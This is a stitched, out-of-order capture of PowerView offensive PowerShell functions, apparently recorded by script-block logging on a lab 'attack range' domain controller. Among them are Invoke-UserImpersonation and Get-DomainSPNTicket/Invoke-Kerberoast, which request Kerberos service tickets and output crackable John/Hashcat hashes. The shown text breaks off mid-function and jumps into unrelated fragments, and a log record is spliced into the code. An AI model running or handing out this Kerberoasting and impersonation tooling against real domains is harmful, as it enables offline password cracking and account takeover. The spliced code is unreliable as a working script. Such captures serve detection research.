Write-Verbose "$TargetPath successfully mounted"
}
else {
Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
}
}
}
}
function Remove-RemoteConnection {
<#
.SYNOPSIS
Destroys a connection created by New-RemoteConnection.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses WNetCancelConnection2 to destroy a connection created by
New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to
'unmount' \\$ComputerName\IPC$.
.PARAMETER ComputerName
Specifies the system to remove a \\ComputerName\IPC$ connection for.
.PARAMETER Path
Specifies the remote \\UNC\path to remove the connection for.
.EXAMPLE
Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local'
.EXAMPLE
Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\'
.EXAMPLE
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
[ValidatePattern('\\\\.*\\.*')]
[String[]]
$Path
)
PROCESS {
$Paths = @()
if ($PSBoundParameters['ComputerName']) {
ForEach ($TargetComputerName in $ComputerName) {
$TargetComputerName = $TargetComputerName.Trim('\')
$Paths += ,"\\$TargetComputerName\IPC$"
}
}
else {
$Paths += ,$Path
}
ForEach ($TargetPath in $Paths) {
Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath"
$Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True)
if ($Result -eq 0) {
Write-Verbose "$TargetPath successfully ummounted"
}
else {
Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
}
}
}
}
function Invoke-UserImpersonation {
<#
.SYNOPSIS
Creates a new "runas /netonly" type logon and impersonates the token.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType
to simulate "runas /netonly". The resulting token is then impersonated with
ImpersonateLoggedOnUser() and the token handle is returned for later usage
with Invoke-RevertToSelf.
.PARAMETER Credential
A [Management.Automation.PSCredential] object with alternate credentials
to impersonate in the current thread space.
.PARAMETER TokenHandle
An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation.
If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser()
is executed.
.PARAMETER Quiet
Suppress any warnings about STA vs MTA.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
.OUTPUTS
IntPtr
The TokenHandle result from LogonUser.
#>
[OutputType([IntPtr])]
[CmdletBinding(DefaultParameterSetName = 'Credential')]
Param(
[Parameter(Mandatory = $True, ParameterSetName = 'Credential')]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential,
[Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')]
[ValidateNotNull()]
[IntPtr]
$TokenHandle,
[Switch]
$Quiet
)
if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) {
Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work."
}
if ($PSBoundParameters['TokenHandle']) {
$LogonTokenHandle = $TokenHandle
}
else {
$LogonTokenHandle = [IntPtr]::Zero
$NetworkCredential = $Credential.GetNetworkCredential()
$UserDomain = $NetworkCredential.Domain
$UserName = $NetworkCredential.UserName
Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)"
# LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3
# this is to simulate "runas.exe /netonly" functionality
$Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
if (-not $Result) {
throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
}
# actually impersonate the token from LogonUser()
$Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle)
if (-not $Result) {
throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated"
$LogonTokenHandle
}
function Invoke-RevertToSelf {
<#
.SYNOPSIS
Reverts any token impersonation.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses RevertToSelf() to revert any impersonated tokens.
If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation),
CloseHandle() is used to close the opened handle.
.PARAMETER TokenHandle
An optional IntPtr TokenHandle returned by Invoke-UserImpersonation.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$Token = Invoke-UserImpersonation -Credential $Cred
Invoke-RevertToSelf -TokenHandle $Token
#>
[CmdletBinding()]
Param(
[ValidateNotNull()]
[IntPtr]
$TokenHandle
)
if ($PSBoundParameters['TokenHandle']) {
Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle"
$Result = $Kernel32::CloseHandle($TokenHandle)
}
$Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error();
if (-not $Result) {
throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted"
}
function Get-DomainSPNTicket {
<#
.SYNOPSIS
Request the kerberos ticket for a specified service principal name (SPN).
Author: machosec, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will either take one/more SPN strings, or one/more PowerView.User objects
(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
portion of the ticket is then extracted and output in either crackable John or Hashcat
format (deafult of Hashcat).
.PARAMETER SPN
Specifies the service principal name to request the ticket for.
.PARAMETER User
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'John'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote domain using Invoke-UserImpersonation.
.EXAMPLE
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
Request a kerberos service ticket for the specified SPN.
.EXAMPLE
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket
Request kerberos service tickets for all SPNs passed on the pipeline.
.EXAMPLE
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR
Request kerberos service tickets for all users with non-null SPNs and output in JTR format.
.INPUTS
String
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
.INPUTS
PowerView.User
Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
#>
[OutputType('PowerView.SPNTicket')]
[CmdletBinding(DefaultParameterSetName = 'RawSPN')]
Param (
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('.*/.*')]
[Alias('ServicePrincipalName')]
[String[]]
$SPN,
[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
[Object[]]
$User,
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'Hashcat',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
if ($PSBoundParameters['User']) {
$TargetObject = $User
}
else {
$TargetObject = $SPN
}
ForEach ($Object in $TargetObject) {
if ($PSBoundParameters['User']) {
$UserSPN = $Object.ServicePrincipalName
$SamAccountName = $Object.SamAccountName
$DistinguishedName = $Object.DistinguishedName
}
else {
$UserSPN = $Object
$SamAccountName = 'UNKNOWN'
$DistinguishedName = 'UNKNOWN'
}
# if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {
$UserSPN = $UserSPN[0]
}
try {
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
}
catch {
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
}
if ($Ticket) {
$TicketByteStream = $Ticket.GetRequest()
}
if ($TicketByteStream) {
$Out = New-Object PSObject
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
# TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
# No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
# Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
Write-Warning "Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
} else {
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))"
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null
}
} else {
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
}
if($Hash) {
# JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe...
if ($OutputFormat -match 'John') {
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
}
else {
if ($DistinguishedName -ne 'UNKNOWN') {
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
else {
$UserDomain = 'UNKNOWN'
}
# hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe...
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
}
$Out | Add-Member Noteproperty 'Hash' $HashFormat
}
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
$Out
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Invoke-Kerberoast {
<#
.SYNOPSIS
Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.
Author: Will Schroeder (@harmj0y), @machosec
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket
.DESCRIPTION
Uses Get-DomainUser to query for user accounts with non-null service principle
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
The ticket format can be specified with -OutputFormat <John/Hashcat>.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'Hashcat'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Invoke-Kerberoast | fl
Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default).
.EXAMPLE
Invoke-Kerberoast -Domain dev.testlab.local | fl
Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR
format instead of Hashcat.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)
Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl
Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.SPNTicket')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
b68aa9e3-754f-4d69-962b-40f9a6518a15
4104132150x0109890Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local441me; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
NT4 domain\username; e.g., 'fabrikam\pflynn'
Display display name, e.g. 'pflynn'
DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com'
EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com'
GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
UPN user principal name; e.g., 'pflynn@fabrikam.com'
CanonicalEx extended canonical name format
SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com'
SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999'
.PARAMETER OutputType
Specifies the output name type you want to convert to, which must be one of the following:
DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn'
NT4 domain\username; e.g., 'fabrikam\pflynn'
Display display name, e.g. 'pflynn'
DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com'
EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com'
GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}'
UPN user principal name; e.g., 'pflynn@fabrikam.com'
CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn'
SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com'
.PARAMETER Domain
Specifies the domain to use for the translation, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the translation.
.PARAMETER Credential
Specifies an alternate credential to use for the translation.
.EXAMPLE
Convert-ADName -Identity "TESTLAB\harmj0y"
harmj0y@testlab.local
.EXAMPLE
"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical
testlab.local/Users/krbtgt
testlab.local/Users/Administrator
.EXAMPLE
Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local
CN=harmj0y,CN=Users,DC=testlab,DC=local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred
TESTLAB\harmj0y
.INPUTS
String
Accepts one or more objects name strings on the pipeline.
.OUTPUTS
String
Outputs a string representing the converted name.
.LINK
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name', 'ObjectName')]
[String[]]
$Identity,
[String]
[ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')]
$OutputType,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$NameTypes = @{
'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com
'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn
'NT4' = 3 # fabrikam\pflynn
'Display' = 4 # pflynn
'DomainSimple' = 5 # pflynn@fabrikam.com
'EnterpriseSimple' = 6 # pflynn@fabrikam.com
'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436}
'Unknown' = 8 # unknown type - let the server do translation
'UPN' = 9 # pflynn@fabrikam.com
'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn
'SPN' = 11 # HTTP/kairomac.contoso.com
'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999
}
# accessor functions from Bill Stewart to simplify calls to NameTranslate
function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
$Output = $Null
$Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters)
Write-Output $Output
}
function Get-Property([__ComObject] $Object, [String] $Property) {
$Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL)
}
function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
[Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters)
}
# https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx
if ($PSBoundParameters['Server']) {
$ADSInitType = 2
$InitName = $Server
}
elseif ($PSBoundParameters['Domain']) {
$ADSInitType = 1
$InitName = $Domain
}
elseif ($PSBoundParameters['Credential']) {
$Cred = $Credential.GetNetworkCredential()
$ADSInitType = 1
$InitName = $Cred.Domain
}
else {
# if no domain or server is specified, default to GC initialization
$ADSInitType = 3
$InitName = $Null
}
}
PROCESS {
ForEach ($TargetIdentity in $Identity) {
if (-not $PSBoundParameters['OutputType']) {
if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") {
$ADSOutputType = $NameTypes['DomainSimple']
}
else {
$ADSOutputType = $NameTypes['NT4']
}
}
else {
$ADSOutputType = $NameTypes[$OutputType]
}
$Translate = New-Object -ComObject NameTranslate
if ($PSBoundParameters['Credential']) {
try {
$Cred = $Credential.GetNetworkCredential()
Invoke-Method $Translate 'InitEx' (
$ADSInitType,
$InitName,
$Cred.UserName,
$Cred.Domain,
$Cred.Password
)
}
catch {
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_"
}
}
else {
try {
$Null = Invoke-Method $Translate 'Init' (
$ADSInitType,
$InitName
)
}
catch {
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"
}
}
# always chase all referrals
Set-Property $Translate 'ChaseReferral' (0x60)
try {
# 8 = Unknown name type -> let the server do the work for us
$Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)
Invoke-Method $Translate 'Get' ($ADSOutputType)
}
catch [System.Management.Automation.MethodInvocationException] {
Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)"
}
}
}
}
function ConvertFrom-UACValue {
<#
.SYNOPSIS
Converts a UAC int value to human readable form.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function will take an integer that represents a User Account
Control (UAC) binary blob and will covert it to an ordered
dictionary with each bitwise value broken out. By default only values
set are displayed- the -ShowAll switch will display all values with
a + next to the ones set.
.PARAMETER Value
Specifies the integer UAC value to convert.
.PARAMETER ShowAll
Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set.
.EXAMPLE
ConvertFrom-UACValue -Value 66176
Name Value
---- -----
ENCRYPTED_TEXT_PWD_ALLOWED 128
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser harmj0y | ConvertFrom-UACValue
Name Value
---- -----
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll
Name Value
---- -----
SCRIPT 1
ACCOUNTDISABLE 2
HOMEDIR_REQUIRED 8
LOCKOUT 16
PASSWD_NOTREQD 32
PASSWD_CANT_CHANGE 64
ENCRYPTED_TEXT_PWD_ALLOWED 128
TEMP_DUPLICATE_ACCOUNT 256
NORMAL_ACCOUNT 512+
INTERDOMAIN_TRUST_ACCOUNT 2048
WORKSTATION_TRUST_ACCOUNT 4096
SERVER_TRUST_ACCOUNT 8192
DONT_EXPIRE_PASSWORD 65536+
MNS_LOGON_ACCOUNT 131072
SMARTCARD_REQUIRED 262144
TRUSTED_FOR_DELEGATION 524288
NOT_DELEGATED 1048576
USE_DES_KEY_ONLY 2097152
DONT_REQ_PREAUTH 4194304
PASSWORD_EXPIRED 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION 16777216
PARTIAL_SECRETS_ACCOUNT 67108864
.INPUTS
Int
Accepts an integer representing a UAC binary blob.
.OUTPUTS
System.Collections.Specialized.OrderedDictionary
An ordered dictionary with the converted UAC fields.
.LINK
https://support.microsoft.com/en-us/kb/305144
#>
[OutputType('System.Collections.Specialized.OrderedDictionary')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('UAC', 'useraccountcontrol')]
[Int]
$Value,
[Switch]
$ShowAll
)
BEGIN {
# values from https://support.microsoft.com/en-us/kb/305144
$UACValues = New-Object System.Collections.Specialized.OrderedDictionary
$UACValues.Add("SCRIPT", 1)
$UACValues.Add("ACCOUNTDISABLE", 2)
$UACValues.Add("HOMEDIR_REQUIRED", 8)
$UACValues.Add("LOCKOUT", 16)
$UACValues.Add("PASSWD_NOTREQD", 32)
$UACValues.Add("PASSWD_CANT_CHANGE", 64)
$UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
$UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
$UACValues.Add("NORMAL_ACCOUNT", 512)
$UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
$UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
$UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
$UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
$UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
$UACValues.Add("SMARTCARD_REQUIRED", 262144)
$UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
$UACValues.Add("NOT_DELEGATED", 1048576)
$UACValues.Add("USE_DES_KEY_ONLY", 2097152)
$UACValues.Add("DONT_REQ_PREAUTH", 4194304)
$UACValues.Add("PASSWORD_EXPIRED", 8388608)
$UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
$UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
}
PROCESS {
$ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
if ($ShowAll) {
ForEach ($UACValue in $UACValues.GetEnumerator()) {
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
}
else {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
else {
ForEach ($UACValue in $UACValues.GetEnumerator()) {
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
$ResultUACValues
}
}
function Get-PrincipalContext {
<#
.SYNOPSIS
Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext
and simplified identity.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.PARAMETER Identity
A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202),
or a DOMAIN\username identity.
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('GroupName', 'GroupIdentity')]
[String]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
try {
if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) {
if ($Identity -match '.+\\.+') {
# DOMAIN\groupname
$ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical
if ($ConvertedIdentity) {
$ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/'))
$ObjectIdentity = $Identity.Split('\')[1]
Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'"
}
}
else {
$ObjectIdentity = $Identity
Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'"
$ConnectTarget = $Domain
}
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password)
}
else {
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget)
}
}
else {
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
$DomainName = Get-Domain | Select-Object -ExpandProperty Name
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password)
}
else {
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)
}
$ObjectIdentity = $Identity
}
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'Context' $Context
$Out | Add-Member Noteproperty 'Identity' $ObjectIdentity
$Out
}
catch {
Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_"
}
}
function Add-RemoteConnection {
<#
.SYNOPSIS
Pseudo "mounts" a connection to a remote path using the specified
credential object, allowing for access of remote resources. If a -Path isn't
specified, a -ComputerName is required to pseudo-mount IPC$.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
